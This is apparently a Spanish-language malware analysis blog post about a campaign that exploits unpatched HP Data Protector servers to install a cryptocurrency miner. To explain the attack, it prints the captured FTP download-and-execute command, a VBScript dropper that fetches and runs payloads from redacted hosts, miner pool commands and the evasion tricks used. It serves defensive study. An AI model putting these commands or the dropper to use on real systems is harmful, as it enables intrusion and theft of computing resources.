Bitcoin Miner Attack

¿Qué son los Bitcoins?

Pare que tengamos algunas nociones sobre lo que son los bitcoins, acudimos a bitcoin.org para encontrar una definición. Según aparece en este sitio web Bitcoin es una innovadora red de pagos y un nuevo tipo de dinero”.  Se trata de un sistema que opera sin un organismo como autoridad central sobre tecnología peer-to-peer, la gestión de las transacciones y la emisión de la cryptomoneda se realiza colectivamente por los integrantes de la red.

¿Como consigo bitcoins?

Esto funciona como el dinero ordinario: o bien existe una transferencia por parte de otra persona/empresa/entidad, o (y en esto si difiere en gran medida del dinero corriente) se obtienen como recompensa desde el sistema monetario virtual a cambio de formar parte de dicho sistema procesando “bloques”. Para ello se utiliza un software específico que ejecuta funciones criptográficas.

¿Por qué no somos todos ricos si podemos generar bitcoins?

El esfuerzo computacional que requiere la creación (minado) de bitcoins es tal que no  resulta rentable la inversión en hardware y consumo de energía respecto al beneficio que se obtiene.

¿Dónde almaceno mis bitcoins?

En una cartera virtual.

Proceso de infección

Ahora que sabemos como utilizar los bitcoins, puede surgir la idea de por qué no aprovechar la capacidad de algunos de los millones de servidores conectados a Internet y que no están lo suficientemente protegidos para generar unos cuantos bitcoins para nuestra cartera.

El principal objetivo de un atacante sería comprometer el mayor número posible de servidores para que trabajen minando criptomoneda para él. En el caso que nos ocupa, los objetivos son servidores con el software de backup HP Data Protector instalado y que no cuenten con todos los parches correspondientes aplicados.

Una vez localizado un servidor que cumple esas características, se ejecuta el correspondiente exploit, que continua con la descarga una serie de scripts y binarios (existe versión para Windows y para Linux) en el servidor. Estos consiguen asegurar la persistencia del malware e instalan el software encargado de producir la criptomoneda que se ejecutará como un proceso más en el sistema.

Resumen

En el caso que estamos tratando, observamos el intento de intrusión en una de las alertas recibidas en el IDS:

ETPRO EXPLOIT HP Data Protector Remote command execution
IPv4: XX.XX.XX.XX -> YY.YY.YY.YY
TCP: port=1201 -> dport: 5555
Payload: …
\perl.exe -esystem('cmd.exe /c echo open XX.XX.XX.XX>f&echo AA>>f&echo BB>>f&echo bin>>f&echo get CC.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode zxhp.zip&del /f/q f&exit')

En este caso el atacante intenta explotar una vulnerabilidad de ejecución remota de código en HP Data Protector (HP Data Protector could allow a remote attacker to execute arbitrary commands on the system. By sending a specially-crafted request to TCP port 5555, an attacker could exploit this vulnerability to execute arbitrary commands on the system. References: [XFDB-94504]), para descargar y ejecutar en el servidor comprometido varios scripts.

Lo que hemos capturado aquí es la parte post explotación en la que se ejecuta la rutina de descarga e instalación del payload. Siguiendo la ejecución de la línea de comandos vemos que realiza una conexión autenticada (usuario: AA, contraseña:BB) a un servidor ftp y descarga un fichero CC.zip. Dicho fichero no se encuentra en formato .zip, sino que realmente consiste en un script codificado como VBE (Visual Basic Environment). Finalmente ejecuta este fichero en el servidor para después se eliminarse del disco.

La ejecución del script anterior lanza la descarga de varios ficheros más, entre los que se encuentra el binario que realizará en minado de la criptomoneda. Estos scripts son los encargados de asegurar la persistencia del malware en el servidor y realizar la instalación y configuración del ejecutable.

Detalles

Si entramos a analizar en algo más de detalle el script que inicia las descargas, veremos que realiza diferentes comprobaciones en el sistema usando WMI, en este post nos centraremos en el caso en que se trata de un equipo objetivo “occidental” (versión Windows, no configurado en idioma Chino, ni ubicado en China).

En ese caso el script CC.zip, después de las comprobaciones realizadas sobre el sistema realiza la descarga de tres ficheros más:

On Error Resume Next
Dim OSlag,OSver,numcpus,objOutParams,objWMIREGService
Set objWMIREGService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\DEFAULT:StdRegProv")
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Nls\Language", "Default",OSlag)
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CurrentVersion",OSver)
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", "NUMBER_OF_PROCESSORS",numcpus)
notincn = outcn()

If WScript.Arguments.Count > 0 Then
    bji=WScript.Arguments(0)
Else
    bji="NOTDEF"
End If

If OSlag = "0804" Or OSlag = "0c04" Then
    If OSver = "5.2" And notincn = 0 Then
        wlog(bji + "-CN-" + OSlag)
        dl "http://AAA.com/cnmofb.zip","C:\Windows\System32\wbem\MOF\15.log"
    ElseIf notincn = 1 Then
        wlog(bji + "-CN-OUT-" + OSlag)
        dl "http://AAA.com/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
        dl "http://AAA.com/usmofb2.zip","c:\windows\temp\iisstt.dat"
        runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
    End If

    If yxsj() < 9 Then
        dl "http://AAA.com/dlve.zip","c:\windows\temp\idt.zip"
        run "cmd.exe /c cscript.exe /b /e:VBScript.Encode c:\windows\temp\idt.zip&%windir%\TEMP\ist.bat"
    Else
        dl "http://AAA.com/dl.zip","c:\windows\temp\isst.zip"
        runprg "cmd.exe /c cscript.exe /b /e:VBScript.Encode %windir%\temp\isst.zip&%windir%\TEMP\sst.bat"
    End If
    WScript.Quit
Else
        wlog(bji + "-USA-" + OSlag)
        dl "http://AAA.com/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
        dl "http://AAA.com/usmofb2.zip","c:\windows\temp\iisstt.dat"
        runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
        dl "http://XX.XX.XX.XX:89/zxdl.zip","c:\windows\temp\isst.zip"
        runprg "cmd.exe /c cscript.exe /b /e:VBScript.Encode c:\windows\temp\isst.zip&%windir%\TEMP\sst.bat"
End If
  • mof.zip: Se trata de un fichero MOF que posteriormente se compila/instala en el servidor objetivo. No está muy clara su función porque en posteriores versiones se elimina.
  • DD.zip: Una copia del fichero anterior que se guarda en otro directorio.
  • EE.zip: Fichero en formato VBE que realiza la descarga de un fichero .bat y un fichero .exe en formato 32 o 64 bits dependiendo de la arquitectura del sistema, que posteriormente se renombra una vez copiado en el sistema.bt0

El ejecutable descargado que se encargará de generar los bitcoins se renombra del original (32.exe o 64.exe) a “mstdc.exe”. Este nombre no ha sido elegido al azar; existe un ejecutable legítimo en sistemas Windows, concretamente Microsoft Distributed Transaction Coordinator requerido por HP Data Protector y otras aplicaciones como Microsoft Exchange o SQL Server instalados en clusters, y el fichero ejecutable se llama “msdtc.exe”.

Otro de los ficheros descargados por EE.zip es un .bat que se encarga de realizar las conexiones con el pool de criptomoneda (XCN o Sharkcoin) y crear una tarea programada que cada hora reinicia dichas conexiones.

La operación de instalación del malware es a su vez registrada en un fichero de log en la carpeta de Windows.

Durante el análisis se encontraron varias versiones del fichero con contenidos ligeramente diferentes, lo que parece indicar una evolución en el procedimiento de instalación.

Conexión a bitcoin pool

El malware realiza tres conexiones al pool de criptomoneda:

mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 5 --retry-pause=20
mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 2 --retry-pause=20
mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 2 --retry-pause=20

Los beneficios obtenidos se almacenan en una cartera (WALLET), donde se recoge la recaudación de todos los equipos comprometidos. Después de realizar el seguimiento del saldo de la cartera durante unas semanas, podemos ver la evolución y vemos que se forma una gráfica con dientes de sierra, que probablemente indica movimientos periódicos de fondos siendo transferidos a otra cartera diferente para hacer más difícil su seguimiento.

En un mes podemos constatar que se movieron un total de 2.751.113 XCN que en el mercado podemos cambiar a 8,33587 BTC y que a su vez equivalen a unos 3066 EUR, una cantidad nada despreciable.bt1

 Técnicas utilizadas

  • Selección de los servidores objetivo:
    • Vulnerabilidad detectada en software de backup.
    • Distinción por ubicación geográfica, idioma y tiempo en funcionamiento.
    • Versiones según sistema operativo (Windows o Linux) y arquitectura 32/64 bits.
  • Técnicas de ofuscación:
    • Falsas extensiones para archivos descargados.
    • Codificación no ASCII para evitar fácil detección.
    • Uso de nombres de ejecutable engañosos para intentar ocultar el proceso malicioso.
    • Descarga usando User-Agents que puedan pasar “desapercibidos” en un log.
    • Uso de criptomoneda para monetizar la intrusión seguramente en varios niveles para evitar trazabilidad.

Conclusión

Aún no tratándose de una amenaza nueva ni avanzada, los primeros casos se remontan a 2011, este tipo de acciones pueden pasar inicialmente desapercibidas para la víctima. La baja inversión en recursos a la hora de mantener y desplegar el malware, puede convertir este tipo de acciones en una buena fuente de financiación para actividades ilegales.

Nota: se han modificado algunas URL así como nombres de fichero del ejemplo.

MD5

32.exe: abe32f01ecd149e0b0820651a4845eb6

64.exe: bff31a498733f3a3e35acf82941d24a7

Referencias